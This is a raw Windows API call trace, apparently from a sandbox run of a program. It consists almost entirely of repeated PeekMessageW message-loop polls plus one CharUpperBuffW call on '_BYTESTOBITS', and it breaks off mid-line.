[0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.290] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.291] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.292] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dffac0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dffac0) returned 0 [0019.293] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff540) returned 0 [0019.293] PeekMessageW (in: lpMsg=0xe8f3dff540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 